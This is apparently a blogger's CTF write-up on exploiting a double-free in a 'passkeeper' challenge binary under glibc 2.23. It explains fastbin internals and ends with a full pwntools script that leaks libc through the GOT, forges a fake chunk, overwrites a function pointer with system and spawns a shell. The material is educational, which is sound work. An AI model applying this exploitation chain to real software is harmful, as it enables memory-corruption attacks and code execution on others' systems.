3/2/2020
Recently, I have been diving into the black magic of memory corruption. In particular, I have really dove into Malloc and heap internals (more on this to come later). So, I decided to take my hand at some CTF challenges to test and improve my skills. After some road bumps (and a little help) I got the solution working on my computer locally!
patchelf --set-interpreter ld-linux-x86-64.so.2 ./binary
. After doing this (and preloaded libc into the binary with pwntools), GDB cannot find the debugging symbols for LibC, making pwndbg useless :(. Because the challenge had already been solved by one of my Open To All CTF teammates, I decided to cut my losses and just run this with my current version of Glibc (2.23, which is before TCache).
The first thing I like to do, is just scope out the application: what does it do? There were the following options:
Now we know what the challenge does, how about we look at the protections?
The binary contains a plethora of bugs; some of them I found, others I did not.
I found two bugs: the password list allowed for negatives indexes and the username field did not necessarily null terminate strings, which could lead to memory leaks.
However, the memory leak was not interesting (as PIE was not turned on and the pointer was to code in the binary). The bug that I did not find (which was the intended solution and needed for the memory leak) was that the index check for reading and deleting passwords was off by one in the positive direction. For instance, if 4 passwords were allocated, you could read the password at index 4 (which would be the 5th password. The intended solution uses a free in the 16th element (to create a fake chunk, as described in this post) and uses a read on the 16th element to leak a libc address. Instead of the easy solution, I created a crazy scenario that still works with a separate bug for the arbitrary chunk creation :)
The image to the bottom left shows the stack near the array that contains pointers to the passwords on the heap.
The numbers on the right are indexes for the setup of the stack. The 0-15 entries (intended spots to be used) are pointers to heap chunks, where the text for the password is stored. The interesting part of the picture is that the -1 entry has a pointer to the last allocated password. By deleting the last password (which frees the data) then deleting the -1 entry of the array, we have freed the same data twice! This is called a double free vulnerability. Additionally, the 16th spot of the array can also be accessed by a separate vulnerability (which is the intended solution).
Now that we have the double free bug, how do we exploit it? So, this required a very careful series of requests to do. Let's dive into it!
In GLibC 2.23 there is no TCache. On 2.29 the TCache is turned off by default. So, this exploit (with slightly different offsets) should work with both versions. For this exploit, only a knowledge of general Malloc chunks and Fastbins was required.
In general, a Malloc chunk has four main components: a previous size, a size (with flags), a forward pointer and a backwards pointer. The pointers are used for easy traversing of the other items in the bin (just a linked list). The size field uses the first 3 bits for different flags (previous chunk in use (0), mmap (1) and non-main arena (2)).
Unlike small and large bins, fastbins only use the forward pointer. Thus, making it a singly linked list data structure. The fastbins are the first location in which a malloc chunk will go, assuming TCache is turned off. Fastbins hold chunks that range from size 0x20 (on 64-bit) to 0x80 bytes. A single bin entry holds chunk that are of the same size. The final interesting thing is that fastbins do not coalesce (combine around other free chunks).
The information given above is the only stuff that is needed for understanding this exploit. However, GLibc malloc goes much, much deeper than above. For learning more about GLibc, I recommend going to sploitfun.
The password heap chunks (defined above) are of size 0x40. Because of the size, they fall into the 0x40 fastbin, waiting to be allocated. In order to trigger the 'double free', we need to allocate 4 items first. After allocating the 4 items, we need to free them in the following order: 3,2,-1,0. As stated above, the -1 index points to the last password that was allocated. Now, we have freed item 3 twice. This creates the double free.
There is one subtly with what was done above: why not just free item 3 then -1 to create the double free immediately? Each bin has a security check in place that checks to see if the most recently freed pointer is the same as the current one being freed. Simply put, we cannot have two pointers to the same memory next to each other in a fastbin. So, in order to avoid this, we allocate a single pointer in between the two in the bin. This creates the following setup in the bin: 0->3->2->3. At this point, it is also crucial to know that the fastbins are Last In, First Out (LIFO), which acts just like a Stack.
Now, things get interesting! Once we have allocated two passwords, the second password's text falls into the fd pointer of the double freed chunk. So, now, we have the following linked list: 2->3->T, where T is the text entered into the next password we created. This is because of the double free bug: we have written to chunk 3 but still have this chunk in the bin! All in all, this means that we can control the location of any chunk in memory and write to it! Well, sort of... We need to have a valid chunk metadata in this location in order to write to it.
Now what? Where do we want to create a chunk at? The following object has two very nice properties: we control part of the input and it has a nice function ptr.
1 2 3 4 5 | struct user { char[64] username; void* display_name; } |
Now, if we call the 'View Profile' function, we call our function! :) The best function to put here is system, especially considering that the first parameter is a user controlled string. Of course, calling system requires a memory leak (which is the part that I missed that was described above).
The whole pwn CTF scene is a little new to me... I have not done a ton of this challenges besides a few pwnables and the RPISEC MBE course. So, I wanted to include a list of items that I learned:
Thanks for reading the article! I hope that you learned something from it. If you do not understand or want to learn more about this stuff, feel free to reach out! :)
P.S. The full exploit code for the challenge is below...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | from pwn import * import os # Binary setup elf_name = 'passkeeper' libc_name='libc.so.6' elf = ELF(elf_name) libc = ELF(libc_name) # Process creation p = process(elf.path) def create_password(password): p.recvuntil('-------- Password Keeper --------') p.sendline('1') p.recvuntil('Enter password:') p.sendline(password) return def free_password(index): p.recvuntil('-------- Password Keeper --------') p.sendline('4') p.recvuntil('id') p.sendline(index) return def see_password(index): p.recvuntil('-------- Password Keeper --------') p.sendline('2') p.sendline(index) p.recvuntil('Value: ') # libc leak output = p.recvline() print 'Leak!' output = output[:-1] + "\x00\x00" output = u64(output) print hex(output) return output shell = "/bin/sh #" chunk = shell + 'A' * 39 # For the system call later on #chunk += '\x00' * 8 # prev_size. Because the chunk is in use, the prev size does not matter. chunk += p64(0x41) # size chunk += p64(0) # fd (null) p.sendline(chunk) # - Can be used for a fake chunk, if we choose. p.sendline('SECRET') # See 1 too many items because of an off by 1 error at the end of the array for i in range(16): create_password(chr(i + ord('A'))) # The arbitrary read. We use this function as an offset calculator for libc's system. NOTICE: Puts has been used before. This is why we read from this function. p.sendline('7') p.sendline(p64(elf.got['puts'])) leak = see_password('16') libc.address = leak - libc.symbols['puts'] # Leaks the libc base address print 'LibC at ' + hex(libc.address) # Use the leak plus a known offset for the function system = leak - 0x2a300 print "System: ", hex(system) p.sendline('5') # Clear all of the passwords to do more schanigans! # Create a double free by freeing the last item then removing it again. create_password('A') # 8 create_password('BBBB') # 9 #create_password('EEEE') create_password('CCCC') # 10 - Need this to keep on the top in order to keep the top chunk from coalescing the chunk. create_password('DDDD') # 11 free_password('11') # Free spot 11 free_password('10') # Free spot 10 free_password('-1') # Free spot 11 again to create the 'double' free. This works because there is a ptr to the last created item on the stack. free_password('8') # Free spot 8 (9 is gone) # Go trigger the double free so that we can set the fd out of a chunk. create_password('AAAA') create_password(p64(0x4040e8)) # The fake chunk, which is in the username struct. This points to a fake malloc chunk. create_password('DDDD') create_password('CCCC') #gdb.attach(p) <- Debugger # Overwrite the function call for the print_name function. func_call = system create_password('B' * 8 + p64(func_call)) # Uses our fake chunk in the user data section. # Call system, which was the 'print_name' function. p.sendline('6') # Shell :) p.interactive() |